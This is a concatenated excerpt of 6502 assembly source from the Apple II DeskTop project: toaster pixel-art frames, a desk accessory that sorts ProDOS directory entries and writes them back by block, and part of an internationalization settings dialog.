PIXELS "##........########..####..########..############..##..##.............."
PIXELS "##..####......########..##########..######..##############............"
PIXELS "##..##..####......####..########..############........................"
PIXELS "##..##......####..##..##########..####..##########..##................"
PIXELS "##..........####..##..########..##########........####..##............"
PIXELS "##......##..####..##..########..####..########..####.................."
PIXELS "##................##....##..##..########......######....##............"
PIXELS "##......##........##....########..####..##########...................."
PIXELS "##................##....##..######....##########........##............"
PIXELS "##......##........##......##....############..........##.............."
PIXELS "##................##........############............##................"
PIXELS "##......##........##............................####.................."
PIXELS "##................##........................####......................"
PIXELS "..##..............##....................####.........................."
PIXELS "....##............##................####.............................."
PIXELS "......####........##..........######.................................."
PIXELS "..........####....##....######........................................"
PIXELS "..............##########.............................................."
toaster_bits2:
PIXELS "......................................................................"
PIXELS "......................................................................"
PIXELS "......................................................................"
PIXELS "......................................................................"
PIXELS "....................####........########.............................."
PIXELS "................########..####################........................"
PIXELS "..............####..########..............########...................."
PIXELS "............##########............####################................"
PIXELS "..........########..........########..............######.............."
PIXELS "........######..........######............################............"
PIXELS "......####..........######..........##########........####............"
PIXELS "....####........######..........##########....########..##............"
PIXELS "..####........####..........##############################............"
PIXELS "..########..####........##################..............##............"
PIXELS "##....########........####..##########....##############.............."
PIXELS "##........########..####..##########..##########..##############......"
PIXELS "##..####......########..##########..################..##..##.........."
PIXELS "##..##..####......####..########..############..################......"
PIXELS "##..##......####..##..##########..################..##....####........"
PIXELS "##..........####..##..########..############..############............"
PIXELS "##......##..####..##..########..####..##..######..##.................."
PIXELS "##................##....##..##..########................##............"
PIXELS "##......##........##....########..####..##########...................."
PIXELS "##................##....##..######....##########........##............"
PIXELS "##......##........##......##....############..........##.............."
PIXELS "##................##........############............##................"
PIXELS "##......##........##............................####.................."
PIXELS "##................##........................####......................"
PIXELS "..##..............##....................####.........................."
PIXELS "....##............##................####.............................."
PIXELS "......####........##..........######.................................."
PIXELS "..........####....##....######........................................"
PIXELS "..............##########.............................................."
toaster_bits3:
PIXELS "......................................................................"
PIXELS "......................................................................"
PIXELS "......................................................................"
PIXELS "......................................................................"
PIXELS "..................................########............................"
PIXELS "..........................####################........................"
PIXELS "......................########..............########.................."
PIXELS "................######............####################................"
PIXELS "............######..........########..............######.............."
PIXELS "........######..........######............################............"
PIXELS "......####..........######..........##########........####............"
PIXELS "....####........######..........##########....########..##............"
PIXELS "..####........####..........##############################............"
PIXELS "..########..####........##################################............"
PIXELS "##....########........####..############################.............."
PIXELS "##........########..####..############################..##............"
PIXELS "##..####......########..##############################................"
PIXELS "##..##..####......####..##########....############......##............"
PIXELS "##..##......####..##..##########..####..............####..####........"
PIXELS "##..........####..##..########..##########..####..####..####..##......"
PIXELS "##......##..####..##..########..########..####..####..####..####......"
PIXELS "##................##....##..##..############..####..####..####........"
PIXELS "##......##........##....########..####################..######........"
PIXELS "##................##....##..######..##########..############.........."
PIXELS "##......##........##......##....####..############..########.........."
PIXELS "##................##........##########..##################............"
PIXELS "##......##........##......................##############.............."
PIXELS "##................##........................##########................"
PIXELS "..##..............##....................####....####.................."
PIXELS "....##............##................####.............................."
PIXELS "......####........##..........######.................................."
PIXELS "..........####....##....######........................................"
PIXELS "..............##########.............................................."
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
JSR_TO_AUX aux::AuxStart
rts
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 19,405
|
src/desk.acc/sort.directory.s
|
;;; ============================================================
;;; SORT.DIRECTORY - Desk Accessory
;;;
;;; Sorts the contents of the directory (current window).
;;; If there is a selection, selected files are placed first
;;; following selection order. If there is no selection, all
;;; files are sorted by type then by name.
;;; ============================================================
.include "../config.inc"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../inc/prodos.inc"
.include "../mgtk/mgtk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
.include "../toolkits/icontk.inc"
;;; ============================================================
;;; Memory map
;;;
;;; Main Aux
;;; : : : :
;;; | | | |
;;; $7800 +-----------+ | |
;;; | Directory | | |
;;; | Data | | |
;;; | Buffer | | |
;;; $5000 +-----------+ | |
;;; : : : :
;;; $4000 +-----------+ +-----------+
;;; | | | |
;;; : : : :
;;; | DHR | | DHR |
;;; $2000 +-----------+ +-----------+
;;; | IO Buffer | | |
;;; $1C00 +-----------+ | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | (unused) | | |
;;; | | | |
;;; $E00 +-----------+ | |
;;; | | | |
;;; | | | (unused) |
;;; | DA | | |
;;; $800 +-----------+ +-----------+
;;; : : : :
;;; ============================================================
DA_HEADER
DA_START_MAIN_SEGMENT
;;; ============================================================
MLIEntry := MLI
;;; There is not enough room in the DA load area to a directory with
;;; 127 entries, the maximum number of icons DeskTop can handle. A
;;; buffer is available in DeskTop itself, in an area that can be
;;; restored after use.
dir_data_buffer := OVERLAY_BUFFER
.assert (<dir_data_buffer) = 0, error, "Must be page aligned"
kDirDataBufferLen = kOverlayBufferSize
;;; ============================================================
;;; ID of window for directory to sort
window_id := $0A
;;; ============================================================
jmp start
;;; unit_num for active window, for block operations
unit_num:
.byte 0
saved_stack:
.byte 0
;;; ============================================================
start: tsx
stx saved_stack
jmp Start2
.proc Exit
ldx saved_stack
txs
lda window_id
IF_ZERO
lda #kErrNoWindowsOpen
jmp JUMP_TABLE_SHOW_ALERT
END_IF
lda #kDynamicRoutineRestoreBuffer
jsr JUMP_TABLE_RESTORE_OVL
lda window_id
jmp JUMP_TABLE_ACTIVATE_WINDOW
.endproc ; Exit
;;; ============================================================
;;; ProDOS Relays
.proc Open
sta ALTZPOFF
MLI_CALL OPEN, open_params
sta ALTZPON
rts
.endproc ; Open
.proc Read
sta ALTZPOFF
MLI_CALL READ, read_params
sta ALTZPON
rts
.endproc ; Read
.proc WriteBlock
sta ALTZPOFF
MLI_CALL WRITE_BLOCK, block_params
sta ALTZPON
rts
.endproc ; WriteBlock
.proc ReadBlock
sta ALTZPOFF
MLI_CALL READ_BLOCK, block_params
sta ALTZPON
rts
.endproc ; ReadBlock
.proc Close
sta ALTZPOFF
MLI_CALL CLOSE, close_params
sta ALTZPON
rts
.endproc ; Close
;;; ============================================================
;;; ProDOS call parameter blocks
DEFINE_SET_MARK_PARAMS set_mark_params, $2B
DEFINE_READWRITE_BLOCK_PARAMS block_params, 0, 0
buffer := dir_data_buffer
kBufferLen = kDirDataBufferLen
DEFINE_OPEN_PARAMS open_params, path_buf, DA_IO_BUFFER
DEFINE_READWRITE_PARAMS read_params, buffer, kBufferLen
DEFINE_READWRITE_PARAMS write_params, buffer, kBufferLen
DEFINE_CLOSE_PARAMS close_params
DEFINE_GET_FILE_INFO_PARAMS file_info_params, path_buf
path_buf:
.res kPathBufferSize, 0
;;; ============================================================
;;; Main DA logic
exit1: jmp Exit
.proc Start2
;; Grab top window
JUMP_TABLE_MGTK_CALL MGTK::FrontWindow, window_id
lda window_id ; any window open?
beq exit1 ; nope, bail
cmp #kMaxDeskTopWindows+1 ; is it DeskTop window?
IF_GE
copy8 #0, window_id ; nope, bail
beq exit1 ; always
END_IF
;; Copy window path to buffer
ptr := $06
jsr JUMP_TABLE_GET_WIN_PATH
stax ptr
ldy #0
lda (ptr),y
tay
DO
copy8 (ptr),y, path_buf,y
dey
WHILE_POS
FALL_THROUGH_TO ReadSortWrite
.endproc ; Start2
.proc ReadSortWrite
ptr := $06
;; --------------------------------------------------
;; Read the directory (up to 14 blocks)
.scope read
jsr Open
bne exit1
lda open_params::ref_num
sta read_params::ref_num
sta close_params::ref_num
;; Save last accessed device's unit_num for block operations.
copy8 DEVNUM, unit_num
jsr Read
jsr Close
bne exit1
ldx #2
;; Process "blocks"
loop:
buf_ptr1_hi := *+2
lda buffer + 2
sta block_num_table,x
buf_ptr2_hi := *+2
lda buffer + 3
sta block_num_table+1,x
ora block_num_table,x
IF_NOT_ZERO
;; Move to next "block"
inc buf_ptr1_hi
inc buf_ptr1_hi
inc buf_ptr2_hi
inc buf_ptr2_hi
inx
inx
cpx #>kDirDataBufferLen
bne loop
END_IF
;; Prepare for sorting
txa
clc
adc #>dir_data_buffer
sta end_block_page
;; Get key block of directory by using header pointer of first entry
jsr SetPtrToFirstEntry
DO
jsr SetPtrToNextEntry
bcs jmp_exit
ldy #0
lda (ptr),y
and #STORAGE_TYPE_MASK ; skip deleted entries
WHILE_ZERO
ldy #FileEntry::header_pointer
copy16in (ptr),y, block_num_table
.endscope ; read
;; --------------------------------------------------
;; Sort the directory entries
jsr BubbleSort
;; --------------------------------------------------
;; Write the directory back out
.scope write
copy8 unit_num, block_params::unit_num
copy8 #0, block_index
;; Write the blocks listed in the table out.
loop1: lda block_index
asl a
tay
copy16 block_num_table,y, block_params::block_num
ora block_params::block_num ; done?
beq update_dir_blocks
tya ; Find address of block data
clc
adc #>dir_data_buffer
sta block_params::data_buffer+1
copy8 #0, block_params::data_buffer
jsr WriteBlock ; Write it out
bne jmp_exit
inc block_index
bne loop1
jmp_exit:
jmp Exit
block_buf := DA_IO_BUFFER
;; For subdirectories, update parent_pointer/parent_entry_number
;; See ProDOS 8 Technical Reference Manual B.2.3 - Subdirectory Headers
update_dir_blocks:
copy16 #block_buf, block_params::data_buffer
jsr SetPtrToFirstEntry
loop2: jsr SetPtrToNextEntry
bcs done
ldy #0
lda (ptr),y
and #STORAGE_TYPE_MASK ; skip deleted entries
beq loop2
cmp #(ST_LINKED_DIRECTORY << 4) ; skip non-directories
bne loop2
;; Grab key block, using pointer in directory.
ldy #FileEntry::key_pointer
copy16in (ptr),y, block_params::block_num
jsr ReadBlock
bne done
;; Calculate entry's block index from address
lda ptr+1
sec
sbc #>dir_data_buffer
and #%11111110 ; /2 to get index, *2 to get table ptr
tay
;; Update pointers and rewrite key block.
copy16 block_num_table,y, block_buf + SubdirectoryHeader::parent_pointer
copy8 entry_num, block_buf + SubdirectoryHeader::parent_entry_number
jsr WriteBlock
jmp loop2
done: jmp Exit
.endscope ; write
jmp_exit := write::jmp_exit
.endproc ; ReadSortWrite
;;; ============================================================
;;; Device number (needed for writing blocks)
dev_num:
.byte 0
;;; Page (address hi byte) after last block.
end_block_page:
.byte 0
;;; Block index when writing directory blocks back out.
block_index:
.byte 0
;;; Table of directory block numbers (words); the directory is read using
;;; file I/O but must be written out using block I/O. The necessary block
;;; numbers to write are extracted and stored here.
block_num_table:
.res 26, 0
entry_num:
.byte 0
;;; ============================================================
;;; Bubble sort entries
.proc BubbleSort
ptr1 := $06
ptr2 := $08
start: copy8 #0, flag
jsr SetPtrToFirstEntry
jsr SetPtrToNextEntry
DO
copy16 ptr1, ptr2
jsr SetPtrToNextEntry
BREAK_IF_CS
jsr CompareFileEntries
CONTINUE_IF_LT
jsr SwapEntries
copy8 #$FF, flag
WHILE_NOT_ZERO ; always
lda flag
bne start
rts
flag: .byte 0
.endproc ; BubbleSort
;;; ============================================================
.proc SetPtrToNextEntry
ptr := $06
inc entry_num
lda ptr
clc
adc #.sizeof(FileEntry)
sta ptr
bcc :+
inc ptr+1
: lda ptr
cmp #$FF
bne rtcc
inc ptr+1
copy8 #1, entry_num
copy8 #4, ptr ; skip over block header
lda ptr+1
cmp end_block_page
bcs rtcs
rtcc: clc
rts
rtcs: sec
rts
.endproc ; SetPtrToNextEntry
;;; ============================================================
.proc SetPtrToFirstEntry
ptr := $06
copy8 #1, entry_num
copy16 #dir_data_buffer + 4, ptr
rts
.endproc ; SetPtrToFirstEntry
;;; ============================================================
;;; Swap file entries
.proc SwapEntries
ptr1 := $06
ptr2 := $08
ldy #.sizeof(FileEntry) - 1
DO
swap8 (ptr1),y, (ptr2),y
dey
WHILE_POS
rts
.endproc ; SwapEntries
;;; ============================================================
;;; Compare file entries ($06, $08); order returned in carry.
;;; Uses CompareSelectionOrders, CompareFileEntryNames,
;;; and CompareEntryTypesAndNames as appropriate.
.proc CompareFileEntries
ptr1 := $06
ptr2 := $08
ldy #FileEntry::storage_type_name_length
lda (ptr1),y
and #STORAGE_TYPE_MASK ; Active file entry?
jeq rtcc
lda (ptr2),y
and #STORAGE_TYPE_MASK ; Active file entry?
jeq rtcs
;; Are we sorting by selection order?
jsr JUMP_TABLE_GET_SEL_COUNT
IF_NOT_ZERO ; Must have selection
jsr JUMP_TABLE_GET_SEL_WIN
IF_A_EQ window_id ; Is selection in the active window?
jmp CompareSelectionOrders
END_IF
END_IF
;; Sorting by type then name
;; SYS files with ".SYSTEM" suffix sort first
ldax ptr2
jsr CheckSystemFile
php ; save first result (in C)
ldax ptr1
jsr CheckSystemFile
lda #0 ; combine both results
rol
plp
rol ; now low 2 bits have 0=yes, 1=no
beq sys ; both, so compare as SYS
cmp #%00000011 ; neither, so continue
IF_NE
ror ; order back into C
rts
END_IF
;; DIR next
lda #FT_DIRECTORY
jsr CompareEntryTypesAndNames
beq ret
;; TXT files next
lda #FT_TEXT
jsr CompareEntryTypesAndNames
beq ret
;; SYS files next
sys: lda #FT_SYSTEM
jsr CompareEntryTypesAndNames
beq ret
;; Then order by type from $FD down
ldy #FileEntry::file_type
lda (ptr1),y
cmp (ptr2),y
bne ret
jmp CompareEntryTypesAndNames
rtcs: sec
rts
rtcc: clc
ret: rts
.endproc ; CompareFileEntries
;;; ============================================================
;;; Compare selection order of icons; order returned in carry.
;;; Handles either icon being not selected.
.proc CompareSelectionOrders
entry_ptr := $10
filename := $06
filename2 := $08
jsr JUMP_TABLE_GET_SEL_COUNT
tax
loop: dex
bmi done1
;; Look up next icon, compare length.
txa
pha
jsr JUMP_TABLE_GET_SEL_ICON
stax entry_ptr
pla
tax
add16 entry_ptr, #IconEntry::name, entry_ptr
ldy #0
copy8 (entry_ptr),y, cmp_len ; len
lda (filename),y
and #NAME_LENGTH_MASK
cmp_len := *+1
cmp #SELF_MODIFIED_BYTE
bne loop ; lengths don't match, so not a match
;; Bytewise compare names.
sta cpy_len
next: iny
lda (entry_ptr),y
jsr ToUpperCase
sta cmp_char
lda (filename),y
jsr ToUpperCase
cmp_char := *+1
cmp #SELF_MODIFIED_BYTE
bne loop ; no match - try next icon
cpy_len := *+1
cpy #SELF_MODIFIED_BYTE
bne next
done1: stx match ; match, or $FF if none
jsr JUMP_TABLE_GET_SEL_COUNT
tax
loop2: dex
bmi done2
;; Look up next icon, compare length.
txa
pha
jsr JUMP_TABLE_GET_SEL_ICON
stax entry_ptr
pla
tax
add16 entry_ptr, #IconEntry::name, entry_ptr
ldy #0
copy8 (entry_ptr),y, cmp_len2 ; len
lda (filename2),y
and #NAME_LENGTH_MASK
cmp_len2 := *+1
cmp #SELF_MODIFIED_BYTE
bne loop2 ; lengths don't match, so not a match
;; Bytewise compare names.
sta cpy_len2
next2: iny
lda (entry_ptr),y
jsr ToUpperCase
sta cmp_char2
lda (filename2),y
jsr ToUpperCase
cmp_char2 := *+1
cmp #SELF_MODIFIED_BYTE
bne loop2 ; no match - try next icon
cpy_len2 := *+1
cpy #SELF_MODIFIED_BYTE
bne next2
done2: stx match2 ; match, or $FF if none
lda match
and match2
cmp #$FF ; if either didn't match
beq clear
lda match2
cmp match
beq clear ; if they're the same
rts ; otherwise carry is order
;; No match
sec
rts
clear: clc
rts
match: .byte 0
match2: .byte 0
.endproc ; CompareSelectionOrders
;;; ============================================================
;;; Compare file types/names ($06, $08 = ptrs, A=type)
;;;
;;; Output: A=$FF if neither matches type; A=$00 and carry is order
.proc CompareEntryTypesAndNames
ptr1 := $06
ptr2 := $08
kMaxLength = 16
sta type0
ldy #kMaxLength
copy8 (ptr2),y, type2
copy8 (ptr1),y, type1
lda type2
cmp type0
IF_NE
lda type1
cmp type0
beq rtcs
bne neither ; always
END_IF
lda type1
cmp type0
bne rtcc
jsr CompareFileEntryNames
bcc rtcc
bcs rtcs
neither:
return #$FF
type2: .byte 0
type1: .byte 0
rtcc: lda #0
clc
rts
rtcs: lda #0
sec
rts
type0: .byte 0
.endproc ; CompareEntryTypesAndNames
;;; ============================================================
;;; Is the file entry a SYS file with .SYSTEM suffix?
;;; Returns carry clear if true, set if false.
.proc CheckSystemFile
ptr := $00
;; Check for SYS
stax ptr
ldy #FileEntry::file_type
lda (ptr),y
cmp #FT_SYSTEM
bne fail
;; Could name end in .SYSTEM?
ldy #FileEntry::storage_type_name_length
lda (ptr),y
and #NAME_LENGTH_MASK
sec
sbc #.strlen(".SYSTEM")-1
bcc fail ; too short
tay
;; Check name suffix
ldx #0
dey
DO
iny
inx
lda (ptr),y
cmp str_system,x
bne fail
cpx str_system
WHILE_NE
clc
rts
fail: sec
rts
str_system:
PASCAL_STRING ".SYSTEM"
.endproc ; CheckSystemFile
;;; ============================================================
;;; Compare file entry names; carry indicates order
.proc CompareFileEntryNames
ptr1 := $06
ptr2 := $08
ldy #0
lda (ptr2),y
and #NAME_LENGTH_MASK
sta len2
sta len
lda (ptr1),y
and #NAME_LENGTH_MASK
sta len1
cmp len
IF_LT
sta len
END_IF
ldy #0
loop: iny
lda (ptr2),y
cmp (ptr1),y
beq next
bcc rtcc
rtcs: sec
rts
len := *+1
next: cpy #SELF_MODIFIED_BYTE
bne loop
lda len2
cmp len1
beq rtcc ; TODO: `BGT` ?
bcs rtcs
rtcc: clc
rts
len2: .byte 0
len1: .byte 0
.endproc ; CompareFileEntryNames
;;; ============================================================
.include "../lib/uppercase.s"
;;; ============================================================
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 21,166
|
src/desk.acc/international.s
|
;;; ============================================================
;;; INTERNATIONAL - Desk Accessory
;;;
;;; Configure internationalization settings.
;;; ============================================================
.include "../config.inc"
RESOURCE_FILE "international.res"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../inc/prodos.inc"
.include "../mgtk/mgtk.inc"
.include "../toolkits/btk.inc"
.include "../lib/alert_dialog.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
;;; Memory map
;;;
;;; Main Aux
;;; : : : :
;;; | | | |
;;; | DHR | | DHR |
;;; $2000 +-------------+ +-------------+
;;; | IO Buffer | | |
;;; $1C00 +-------------+ | |
;;; | write_buffer| | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | stub & save | | GUI code & |
;;; | settings | | resource |
;;; $800 +-------------+ +-------------+
;;; : : : :
;;;
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
.proc RunDA
jsr init_window
lda dialog_result
rts
.endproc ; RunDA
;;; ============================================================
;;; Param blocks
kDialogWidth = 430
kDialogHeight = 89
kControlMarginX = 16
kRow1 = 10
kRow2 = 25
kRow3 = 40
kRow4 = 55
kRow5 = 70
kLabelLeft = kControlMarginX
kFieldLeft = 160
kFieldWidth = kTextBoxTextHOffset * 2 + 7
kFieldHeight = kSystemFontHeight + 4
kSampleLeft = kFieldLeft + kFieldWidth + kControlMarginX
.macro DEFINE_FIELD name, string, sample, row
DEFINE_RECT_SZ .ident(.sprintf("%s_rect", .string(name))), kFieldLeft, row, kFieldWidth, kFieldHeight
DEFINE_RECT_SZ .ident(.sprintf("%s_hilite", .string(name))), kFieldLeft+2, row+2, kFieldWidth-4, kSystemFontHeight
DEFINE_POINT .ident(.sprintf("%s_char_pos", .string(name))), kFieldLeft+kTextBoxTextHOffset+1, row+2+kSystemFontHeight
DEFINE_LABEL name, string, kLabelLeft, row+2+kSystemFontHeight
DEFINE_LABEL .ident(.sprintf("%s_sample", .string(name))), .sprintf("%s ", sample), kSampleLeft, row+2+kSystemFontHeight
.endmacro
DEFINE_FIELD date, res_string_label_date_separator, "10/11/12", kRow1
kDateSampleOffset1 = 3
kDateSampleOffset2 = 6
DEFINE_FIELD time, res_string_label_time_separator, "12:34", kRow2
kTimeSampleOffset = 3
DEFINE_FIELD deci, res_string_label_decimal_separator, "0.1234", kRow3
kDeciSampleOffset = 2
DEFINE_FIELD thou, res_string_label_thousands_separator, "12,345", kRow4
kThouSampleOffset = 3
kOptionDisplayX = 260
DEFINE_BUTTON date_mdy_button, kDAWindowId, res_string_label_mdy, res_string_shortcut_apple_1, kOptionDisplayX, 16
DEFINE_BUTTON date_dmy_button, kDAWindowId, res_string_label_dmy, res_string_shortcut_apple_2, kOptionDisplayX, 27
DEFINE_BUTTON clock_12hour_button, kDAWindowId, res_string_label_clock_12hour, res_string_shortcut_apple_3, kOptionDisplayX, 45
DEFINE_BUTTON clock_24hour_button, kDAWindowId, res_string_label_clock_24hour, res_string_shortcut_apple_4, kOptionDisplayX, 56
kOKButtonLeft = kDialogWidth - kButtonWidth - kControlMarginX
kOKButtonTop = kDialogHeight - kButtonHeight - 7
DEFINE_BUTTON ok_button, kDAWindowId, res_string_button_ok, kGlyphReturn, kOKButtonLeft, kOKButtonTop
DEFINE_LABEL first_dow, res_string_label_first_dow, kLabelLeft, kRow5+2+kSystemFontHeight
DEFINE_BUTTON sunday_button, kDAWindowId, res_string_weekday_abbrev_1, res_string_shortcut_apple_5, kFieldLeft, kRow5+3
DEFINE_BUTTON monday_button, kDAWindowId, res_string_weekday_abbrev_2, res_string_shortcut_apple_6, kFieldLeft+70, kRow5+3
.params settextbg_black_params
backcolor: .byte 0 ; black
.endparams
.params settextbg_white_params
backcolor: .byte $FF ; white
.endparams
.enum Field
FIRST = 1
date = 1
time = 2
deci = 3
thou = 4
LAST = 4
.endenum
selected_field:
.byte Field::FIRST
;;; ============================================================
.include "../lib/event_params.s"
kDAWindowId = $80
.params closewindow_params
window_id: .byte kDAWindowId
.endparams
pencopy: .byte MGTK::pencopy
notpencopy: .byte MGTK::notpencopy
.params winfo
window_id: .byte kDAWindowId
options: .byte MGTK::Option::dialog_box
title: .addr 0
hscroll: .byte MGTK::Scroll::option_none
vscroll: .byte MGTK::Scroll::option_none
hthumbmax: .byte 0
hthumbpos: .byte 0
vthumbmax: .byte 0
vthumbpos: .byte 0
status: .byte 0
reserved: .byte 0
mincontwidth: .word 100
mincontheight: .word 100
maxcontwidth: .word 500
maxcontheight: .word 500
port:
DEFINE_POINT viewloc, (kScreenWidth-kDialogWidth)/2, (kScreenHeight-kDialogHeight)/2
mapbits: .addr MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved2: .byte 0
DEFINE_RECT maprect, 0, 0, kDialogWidth, kDialogHeight
pattern: .res 8,$FF
colormasks: .byte MGTK::colormask_and, MGTK::colormask_or
DEFINE_POINT penloc, 0, 0
penwidth: .byte 1
penheight: .byte 1
penmode: .byte MGTK::notpencopy
textback: .byte MGTK::textbg_white
textfont: .addr DEFAULT_FONT
nextwinfo: .addr 0
REF_WINFO_MEMBERS
.endparams
pensize_normal: .byte 1, 1
pensize_frame: .byte kBorderDX, kBorderDY
DEFINE_RECT_FRAME frame_rect, kDialogWidth, kDialogHeight
;;; ============================================================
;;; Initialize window, unpack the date.
init_window:
MGTK_CALL MGTK::OpenWindow, winfo
copy8 #Field::FIRST, selected_field
jsr DrawWindow
MGTK_CALL MGTK::FlushEvents
FALL_THROUGH_TO InputLoop
;;; ============================================================
;;; Input loop
.proc InputLoop
JSR_TO_MAIN JUMP_TABLE_SYSTEM_TASK
MGTK_CALL MGTK::GetEvent, event_params
lda event_params::kind
IF_A_EQ #MGTK::EventKind::button_down
jsr OnClick
jmp InputLoop
END_IF
cmp #MGTK::EventKind::key_down
bne InputLoop
jsr OnKey
jmp InputLoop
.endproc ; InputLoop
;;; ============================================================
.proc OnKey
MGTK_CALL MGTK::SetPort, winfo::port
lda event_params::key
ldx event_params::modifiers
IF_NOT_ZERO
jsr ToUpperCase
cmp #kShortcutCloseWindow
jeq OnKeyOK
cmp #res_char_shortcut_apple_1
jeq OnClickMDY
cmp #res_char_shortcut_apple_2
jeq OnClickDMY
cmp #res_char_shortcut_apple_3
jeq OnClick12Hour
cmp #res_char_shortcut_apple_4
jeq OnClick24Hour
cmp #res_char_shortcut_apple_5
jeq OnClickSunday
cmp #res_char_shortcut_apple_6
jeq OnClickMonday
rts
END_IF
cmp #CHAR_RETURN
jeq OnKeyOK
cmp #CHAR_ESCAPE
jeq OnKeyOK
cmp #CHAR_LEFT
beq OnKeyPrev
cmp #CHAR_UP
beq OnKeyPrev
cmp #CHAR_RIGHT
beq OnKeyNext
cmp #CHAR_TAB
beq OnKeyNext
cmp #CHAR_DOWN
beq OnKeyNext
cmp #' '
bcc ret
cmp #CHAR_DELETE
bcs ret
jmp OnKeyChar
ret: rts
.proc OnKeyPrev
sec
lda selected_field
sbc #1
bne UpdateSelection
lda #Field::LAST
bne UpdateSelection ; always
.endproc ; OnKeyPrev
.proc OnKeyNext
clc
lda selected_field
adc #1
cmp #Field::LAST+1
bcc UpdateSelection
lda #Field::FIRST
FALL_THROUGH_TO UpdateSelection
.endproc ; OnKeyNext
.proc UpdateSelection
jmp SelectField
.endproc ; UpdateSelection
.proc OnKeyChar
ldx selected_field
IF_X_EQ #Field::date
ldx #DeskTopSettings::intl_date_sep
bne update ; always
END_IF
IF_X_EQ #Field::time
ldx #DeskTopSettings::intl_time_sep
bne update ; always
END_IF
IF_X_EQ #Field::deci
ldx #DeskTopSettings::intl_deci_sep
bne update ; always
END_IF
IF_X_EQ #Field::thou
ldx #DeskTopSettings::intl_thou_sep
bne update ; always
END_IF
rts
update:
jsr WriteSetting
copy8 #$80, dialog_result
lda selected_field
jmp DrawField
.endproc ; OnKeyChar
.endproc ; OnKey
;;; ============================================================
.proc OnClick
MGTK_CALL MGTK::FindWindow, event_params::xcoord
lda findwindow_params::window_id
cmp #kDAWindowId
bne miss
lda findwindow_params::which_area
cmp #MGTK::Area::content
beq hit
miss: rts
hit:
;; ----------------------------------------
MGTK_CALL MGTK::SetPort, winfo::port
copy8 #kDAWindowId, screentowindow_params::window_id
MGTK_CALL MGTK::ScreenToWindow, screentowindow_params
MGTK_CALL MGTK::MoveTo, screentowindow_params::window
;; ----------------------------------------
MGTK_CALL MGTK::InRect, ok_button::rect
jne OnClickOK
;; --------------------------------------------------
MGTK_CALL MGTK::InRect, clock_12hour_button::rect
jne OnClick12Hour
MGTK_CALL MGTK::InRect, clock_24hour_button::rect
jne OnClick24Hour
MGTK_CALL MGTK::InRect, date_mdy_button::rect
jne OnClickMDY
MGTK_CALL MGTK::InRect, date_dmy_button::rect
jne OnClickDMY
MGTK_CALL MGTK::InRect, sunday_button::rect
jne OnClickSunday
MGTK_CALL MGTK::InRect, monday_button::rect
jne OnClickMonday
;; --------------------------------------------------
MGTK_CALL MGTK::InRect, date_rect
IF_NOT_ZERO
lda #Field::date
jmp SelectField
END_IF
MGTK_CALL MGTK::InRect, time_rect
IF_NOT_ZERO
lda #Field::time
jmp SelectField
END_IF
MGTK_CALL MGTK::InRect, deci_rect
IF_NOT_ZERO
lda #Field::deci
jmp SelectField
END_IF
MGTK_CALL MGTK::InRect, thou_rect
IF_NOT_ZERO
lda #Field::thou
jmp SelectField
END_IF
rts
.endproc ; OnClick
;;; ============================================================
.proc OnClickOK
BTK_CALL BTK::Track, ok_button
beq OnOK
rts
.endproc ; OnClickOK
.proc OnKeyOK
BTK_CALL BTK::Flash, ok_button
FALL_THROUGH_TO OnOK
.endproc ; OnKeyOK
.proc OnOK
jmp Destroy
.endproc ; OnOK
;;; ============================================================
.proc OnClick12Hour
lda #0
ldx #DeskTopSettings::clock_24hours
jsr WriteSetting
copy8 #$80, dialog_result
jmp UpdateClockOptionButtons
.endproc ; OnClick12Hour
.proc OnClick24Hour
lda #$80
ldx #DeskTopSettings::clock_24hours
jsr WriteSetting
copy8 #$80, dialog_result
jmp UpdateClockOptionButtons
.endproc ; OnClick24Hour
.proc OnClickMDY
lda #DeskTopSettings::kDateOrderMDY
ldx #DeskTopSettings::intl_date_order
jsr WriteSetting
copy8 #$80, dialog_result
jmp UpdateDateOptionButtons
.endproc ; OnClickMDY
.proc OnClickDMY
lda #DeskTopSettings::kDateOrderDMY
ldx #DeskTopSettings::intl_date_order
jsr WriteSetting
copy8 #$80, dialog_result
jmp UpdateDateOptionButtons
.endproc ; OnClickDMY
.proc OnClickSunday
lda #0
ldx #DeskTopSettings::intl_first_dow
jsr WriteSetting
copy8 #$80, dialog_result
jmp UpdateFirstDOWOptionButtons
.endproc ; OnClickSunday
.proc OnClickMonday
lda #1
ldx #DeskTopSettings::intl_first_dow
jsr WriteSetting
copy8 #$80, dialog_result
jmp UpdateFirstDOWOptionButtons
.endproc ; OnClickMonday
;;; ============================================================
;;; Tear down the window and exit
;;; Used in Aux to store result during tear-down
;;; bit7 = settings changed
dialog_result: .byte 0
.proc Destroy
pla ; Exit `InputLoop`
pla
MGTK_CALL MGTK::CloseWindow, closewindow_params
;; Dates in DeskTop list views may be invalidated, so if any
;; settings changed, force a full redraw to avoid artifacts.
bit dialog_result
IF_NS
MGTK_CALL MGTK::RedrawDeskTop
END_IF
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
rts
.endproc ; Destroy
;;; ============================================================
;;; Render the window contents
.proc DrawWindow
MGTK_CALL MGTK::SetPort, winfo::port
MGTK_CALL MGTK::SetPenSize, pensize_frame
MGTK_CALL MGTK::FrameRect, frame_rect
MGTK_CALL MGTK::SetPenSize, pensize_normal
MGTK_CALL MGTK::MoveTo, date_label_pos
param_call DrawString, date_label_str
MGTK_CALL MGTK::FrameRect, date_rect
MGTK_CALL MGTK::MoveTo, time_label_pos
param_call DrawString, time_label_str
MGTK_CALL MGTK::FrameRect, time_rect
MGTK_CALL MGTK::MoveTo, deci_label_pos
param_call DrawString, deci_label_str
MGTK_CALL MGTK::FrameRect, deci_rect
MGTK_CALL MGTK::MoveTo, thou_label_pos
param_call DrawString, thou_label_str
MGTK_CALL MGTK::FrameRect, thou_rect
lda #Field::date
jsr DrawField
lda #Field::time
